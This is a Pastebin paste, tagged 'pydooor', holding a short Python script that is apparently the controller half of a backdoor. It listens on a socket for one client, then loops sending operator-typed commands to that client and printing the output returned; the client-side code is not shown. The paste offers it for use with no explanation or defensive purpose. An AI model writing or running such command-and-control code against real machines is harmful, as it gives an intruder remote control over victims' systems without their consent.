Advertisement
FlyFar

server

Feb 14th, 2023
727
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.55 KB | Cybersecurity | 0 0
  1. import socket
  2.  
  3. HOST = '127.0.0.1' # '192.168.43.82'
  4. PORT = 8081 # 2222
  5. server = socket.socket()
  6. server.bind((HOST, PORT))
  7. print('[+] Server Started')
  8. print('[+] Listening For Client Connection ...')
  9. server.listen(1)
  10. client, client_addr = server.accept()
  11. print(f'[+] {client_addr} Client connected to the server')
  12.  
  13. while True:
  14.     command = input('Enter Command : ')
  15.     command = command.encode()
  16.     client.send(command)
  17.     print('[+] Command sent')
  18.     output = client.recv(1024)
  19.     output = output.decode()
  20.     print(f"Output: {output}")
Tags: Server pydooor
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement